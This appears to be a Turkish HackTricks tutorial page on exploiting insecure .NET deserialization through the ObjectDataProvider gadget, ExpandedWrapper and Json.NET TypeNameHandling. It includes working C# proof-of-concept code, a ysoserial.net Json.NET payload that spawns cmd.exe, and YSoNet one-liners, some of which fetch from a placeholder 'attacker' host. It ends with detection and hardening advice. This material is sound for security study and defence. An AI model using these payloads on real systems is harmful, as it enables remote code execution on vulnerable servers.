hacktricks/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md

13 KiB
Raw Blame History

Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

{{#include ../../banners/hacktricks-training.md}}

Bu yazı, ObjectDataProvider gadget'ının nasıl istismar edildiğini anlamaya ve Json.Net ve xmlSerializer serileştirme kütüphanelerinin bu gadget ile nasıl kötüye kullanılabileceğiniıklamaya adanmıştır.

ObjectDataProvider Gadget

Belgelerden: ObjectDataProvider Sınıfı, bir bağlama kaynağı olarak kullanabileceğiniz bir nesneyi sarar ve oluşturur.
Evet, bu garip bir açıklama, o yüzden bu sınıfın ne kadar ilginç olduğunu görelim: Bu sınıf, rastgele bir nesneyi sarmaya izin verir, MethodParameters kullanarak rastgele parametreler ayarlamaya ve ardından MethodName kullanarak rastgele bir işlevi çağırmaya olanak tanır.
Bu nedenle, rastgele nesne, serileştirilirken parametrelerle bir işlevi çalıştıracaktır.

Bu nasıl mümkün

System.Windows.Data ad alanı, PresentationFramework.dll içinde C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF konumunda tanımlanmış ve uygulanmıştır.

dnSpy kullanarak, ilgilendiğimiz sınıfın kodunu inceleyebilirsiniz. Aşağıdaki resimde PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name kodunu görüyoruz.

Gördüğünüz gibi MethodName ayarlandığında base.Refresh() çağrılıyor, ne yaptığını görelim:

Tamam, şimdi this.BeginQuery() ne yapıyor ona bakalım. BeginQuery, ObjectDataProvider tarafından geçersiz kılınmıştır ve işte yaptığı:

Kodun sonunda this.QueryWorke(null) çağrıldığını not edin. Bunun neyi çalıştırdığını görelim:

Bu, QueryWorker fonksiyonunun tam kodu değil, ancak ilginç kısmını gösteriyor: Kod this.InvokeMethodOnInstance(out ex); çağrısını yapıyor, bu, metodun ayarlandığı yer.

Sadece MethodName ayarlayarak çalıştırılacağını kontrol etmek istiyorsanız, bu kodu çalıştırabilirsiniz:

using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Not edin ki System.Windows.Data yüklemek için C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll referansını eklemeniz gerekiyor.

ExpandedWrapper

Önceki istismarı kullanarak, nesnenin bir ObjectDataProvider örneği olarak deseralize edileceği durumlar olacaktır (örneğin, DotNetNuke zafiyetinde, XmlSerializer kullanarak, nesne GetType ile deseralize edildi). Bu durumda, ObjectDataProvider örneğinde sarılı olan nesne türü hakkında hiçbir bilgiye sahip olmayacağız (Process örneğin). DotNetNuke zafiyeti hakkında daha fazla bilgi burada bulabilirsiniz.

Bu sınıf, belirli bir örnekte kapsüllenmiş nesnelerin nesne türlerini belirlemeye olanak tanır. Bu nedenle, bu sınıf bir kaynak nesneyi (ObjectDataProvider) yeni bir nesne türüne kapsüllemek ve ihtiyaç duyduğumuz özellikleri sağlamak için kullanılabilir (ObjectDataProvider.MethodName ve ObjectDataProvider.MethodParameters).
Bu, daha önce sunulan durumlar için çok faydalıdır, çünkü _ObjectDataProvider_ nesnesini bir **ExpandedWrapper örneği içinde sarmalayabileceğiz ve deseralize edildiğinde bu sınıf, MethodName'de belirtilen fonksiyonu çalıştıracak OjectDataProvider nesnesini oluşturacaktır.

Bu sarmalayıcıyı aşağıdaki kod ile kontrol edebilirsiniz:

using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

Resmi web sayfasında bu kütüphanenin Json.NET'in güçlü JSON serileştiricisi ile herhangi bir .NET nesnesini serileştirmeye ve serileştirmeye izin verdiği belirtilmektedir. Yani, eğer ObjectDataProvider gadget'ını serileştirebilirsek, sadece bir nesneyi serileştirerek RCE'ye neden olabiliriz.

Json.Net örneği

Öncelikle, bu kütüphaneyi kullanarak bir nesneyi serileştirmek/serileştirmek için bir örneğe bakalım:

using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Json.Net'i Kötüye Kullanma

ysoserial.net kullanarak bir istismar oluşturdum:

ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

Bu kodda sömürüyü test edebilirsiniz, sadece çalıştırın ve bir hesap makinesinin çalıştığını göreceksiniz:

using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}

Gelişmiş .NET Gadget Zincirleri (YSoNet & ysoserial.net)

Yukarıda tanıtılan ObjectDataProvider + ExpandedWrapper tekniği, bir uygulama güvensiz .NET deserialization gerçekleştirdiğinde kötüye kullanılabilecek birçok gadget zincirinden sadece biridir. Modern kırmızı takım araçları, YSoNet (ve daha eski ysoserial.net) gibi, onlarca gadget ve serileştirme formatı için kullanıma hazır kötü niyetli nesne grafikleri oluşturmayı otomatikleştirir.

Aşağıda, YSoNet ile birlikte gönderilen en kullanışlı zincirlerin yoğunlaştırılmış bir referansı ve bunların nasıl çalıştığına dair hızlı bir açıklama ile payload'ları oluşturmak için örnek komutlar bulunmaktadır.

Gadget Zinciri Ana Fikir / Primitive Yaygın Serileştiriciler YSoNet tek satır
TypeConfuseDelegate DelegateSerializationHolder kaydını bozar, böylece, malzeme haline geldiğinde, delegate herhangi bir saldırgan tarafından sağlanan metoda (örn. Process.Start) işaret eder BinaryFormatter, SoapFormatter, NetDataContractSerializer ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin
ActivitySurrogateSelector System.Workflow.ComponentModel.ActivitySurrogateSelector'ı kötüye kullanarak bypass .NET ≥4.8 type-filtering yapar ve sağlanan bir sınıfın constructor'ını doğrudan çağırır veya bir C# dosyasını anında derler BinaryFormatter, NetDataContractSerializer, LosFormatter ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat
DataSetOldBehaviour System.Data.DataSet'in eski XML temsilini kullanarak <ColumnMapping> / <DataType> alanlarını doldurarak keyfi türleri başlatır (isteğe bağlı olarak --spoofedAssembly ile assembly'i sahteleyerek) LosFormatter, BinaryFormatter, XmlSerializer ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml
GetterCompilerResults WPF destekli çalışma zamanlarında (> .NET 5) özellik getter'larını zincirler ve System.CodeDom.Compiler.CompilerResults'a ulaşır, ardından -c ile sağlanan bir DLL'yi derler veya yükler Json.NET türsüz, MessagePack türsüz ysonet.exe GetterCompilerResults -c Loader.dll > payload.json
ObjectDataProvider (gözden geçirme) WPF System.Windows.Data.ObjectDataProvider'ı kullanarak kontrol edilen argümanlarla keyfi bir statik metodu çağırır. YSoNet, kötü niyetli XAML'yi uzaktan barındırmak için kullanışlı bir --xamlurl varyantı ekler BinaryFormatter, Json.NET, XAML, vb. ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml
PSObject (CVE-2017-8565) System.Management.Automation.PSObject içine ScriptBlock gömülür ve bu, PowerShell nesneyi deseralize ettiğinde çalışır PowerShell uzaktan erişim, BinaryFormatter ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin

Tip

Tüm payload'lar varsayılan olarak stdout'a yazılır, bu da bunları diğer araçlara (örn. ViewState oluşturucuları, base64 kodlayıcılar, HTTP istemcileri) yönlendirmeyi kolaylaştırır.

YSoNet Kurulumu / İnşası

Eğer Actions ➜ Artifacts / Releases altında önceden derlenmiş ikili dosyalar mevcut değilse, aşağıdaki PowerShell tek satırı bir inşa ortamı kuracak, depoyu klonlayacak ve her şeyi Release modunda derleyecektir:

Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;

git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release

Derlenmiş ysonet.exe daha sonra ysonet/bin/Release/ altında bulunabilir.

Tespit ve Güçlendirme

  • Beklenmeyen w3wp.exe, PowerShell.exe veya kullanıcı tarafından sağlanan verileri (örneğin MessagePack, Json.NET) deseralize eden herhangi bir süreç için çocuk süreçleri tespit edin.
  • Eski BinaryFormatter / NetDataContractSerializer kaldırılamadığında, tip filtrelemeyi etkinleştirin ve zorlayın (TypeFilterLevel = Full, özel SurrogateSelector, SerializationBinder, vb.).
  • Mümkünse System.Text.Json veya DataContractJsonSerializer ile beyaz listeye dayalı dönüştürücülere geçin.
  • Asla ihtiyaç duymaması gereken web süreçlerinde tehlikeli WPF derlemelerinin (PresentationFramework, System.Workflow.*) yüklenmesini engelleyin.

Referanslar

{{#include ../../banners/hacktricks-training.md}}